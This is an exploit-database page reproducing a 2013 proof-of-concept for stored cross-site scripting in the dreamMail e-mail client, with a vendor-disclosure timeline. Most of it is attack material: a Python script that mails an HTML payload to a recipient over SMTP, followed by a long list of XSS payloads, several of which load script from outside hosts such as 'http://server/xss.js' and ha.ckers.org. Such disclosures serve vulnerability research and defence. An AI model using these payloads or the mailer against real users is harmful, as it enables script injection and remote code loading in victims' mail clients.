Vulners
Lucene search
dreamMail e-mail client v4.6.9.2 Stored XSS Vulnerability
#!/usr/bin/python
'''
Author: loneferret of Offensive Security
Product: dreamMail e-mail client
Version: 4.6.9.2
Vendor Site: http://www.dreammail.eu
Software Download: http://www.dreammail.eu/intl/en/download.html
Tested on: Windows XP SP3 Eng.
Tested on: Windows 7 Pro SP1 Eng.
dreamMail: Using default settings
E-mail client is vulnerable to stored XSS. Either opening or viewing the e-mail and you
get an annoying alert box etc etc etc.
Injection Point: Body
Gave vendor 7 days to reply in order to co-ordinate a release date.
Timeline:
16 Aug 2013: Tentative release date 23 Aug 2013
16 Aug 2013: Vulnerability reported to vendor. Provided complete list of payloads.
19 Aug 2013: Still no response. Sent second e-mail.
22 Aug 2013: Got a reply but not from development guy. He seems MIA according to contact.
No longer supported due to missing development guy.
23 Aug 2013: Still nothing.
24 Aug 2013: Release
'''
import smtplib, urllib2
payload = '''<IMG SRC='vbscript:msgbox("XSS")'>'''
def sendMail(dstemail, frmemail, smtpsrv, username, password):
msg = "From: [email protected]\n"
msg += "To: [email protected]\n"
msg += 'Date: Today\r\n'
msg += "Subject: XSS payload\n"
msg += "Content-type: text/html\n\n"
msg += payload + "\r\n\r\n"
server = smtplib.SMTP(smtpsrv)
server.login(username,password)
try:
server.sendmail(frmemail, dstemail, msg)
except Exception, e:
print "[-] Failed to send email:"
print "[*] " + str(e)
server.quit()
username = "[email protected]"
password = "123456"
dstemail = "[email protected]"
frmemail = "[email protected]"
smtpsrv = "xxx.xxx.xxx.xxx"
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)
'''
List of XSS types and different syntaxes to which the client is vulnerable.
Each payload will pop a message box, usually with the message "XSS" inside.
Paylaod-: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
Paylaod-: <SCRIPT SRC=http://server/xss.js></SCRIPT>
Paylaod-: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
Paylaod-: <BODY BACKGROUND="javascript:alert('XSS');">
Paylaod-: <BODY ONLOAD=alert('XSS')>
Paylaod-: <DIV STYLE="background-image: url(javascript:alert('XSS'))">
Paylaod-: <DIV STYLE="background-image: url(javascript:alert('XSS'))">
Paylaod-: <DIV STYLE="width: expression(alert('XSS'));">
Paylaod-: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
Paylaod-: <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
Paylaod-: <IMG SRC="javascript:alert('XSS');">
Paylaod-: <IMG SRC=javascript:alert('XSS')>
Paylaod-: <IMG DYNSRC="javascript:alert('XSS');">
Paylaod-: <IMG LOWSRC="javascript:alert('XSS');">Paylaod-: 21exp/*<XSS STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
Paylaod-: <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
Paylaod-: <IMG SRC='vbscript:msgbox("XSS")'>
Paylaod-: <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
Paylaod-: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
Paylaod-: <XSS STYLE="xss:expression(alert('XSS'))">
Paylaod-: <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
Paylaod-: <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
Paylaod-: <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
Paylaod-: <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
Paylaod-: <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
Paylaod-: <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE>
Paylaod-: <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE>
Paylaod-: <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
Paylaod-: <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
Paylaod-: <HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML>
Paylaod-: <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
Paylaod-: <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
Paylaod-: <IMG SRC=JaVaScRiPt:alert('XSS')>
Paylaod-: <IMG SRC=javascript:alert("XSS")>
Paylaod-: <IMG SRC=`javascript:alert("We says, 'XSS'")`>
Paylaod-: <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
Paylaod-: <IMG SRC=javascript:alert('XSS')>
Paylaod-: <IMG SRC=javascript:alert('XSS')>
Paylaod-: <IMG SRC=javascript:alert('XSS')>
Paylaod-: <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
Paylaod-: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
Paylaod-: <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
Paylaod-: <IMG SRC="jav ascript:alert('XSS');">
Paylaod-: <IMG SRC="jav	ascript:alert('XSS');">
Paylaod-: <IMG SRC="jav
ascript:alert('XSS');">
Paylaod-: <IMG SRC="jav
ascript:alert('XSS');">
Paylaod-: <IMG SRC="  javascript:alert('XSS');">
Paylaod-: <SCRIPT/XSS SRC="http://server/xss.js"></SCRIPT>
Paylaod-: <SCRIPT SRC=http://server/xss.js
Paylaod-: <IMG SRC="javascript:alert('XSS')"
Paylaod-: <<SCRIPT>alert("XSS");//<</SCRIPT>
Paylaod-: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
Paylaod-: <SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
Paylaod-: <SCRIPT a=">" SRC="http://server/xss.js"></SCRIPT>
Paylaod-: <SCRIPT ="blah" SRC="http://server/xss.js"></SCRIPT>
Paylaod-: <SCRIPT a="blah" '' SRC="http://server/xss.js"></SCRIPT>
Paylaod-: <SCRIPT "a='>'" SRC="http://server/xss.js"></SCRIPT>
Paylaod-: <SCRIPT a=`>` SRC="http://server/xss.js"></SCRIPT>
Paylaod-: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://server/xss.js"></SCRIPT>
Paylaod-: <SCRIPT a=">'>" SRC="http://server/xss.js"></SCRIPT>
'''
# 0day.today [2018-02-16] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
25 Aug 2013 00:00Current
7.1High risk
Vulners AI Score7.1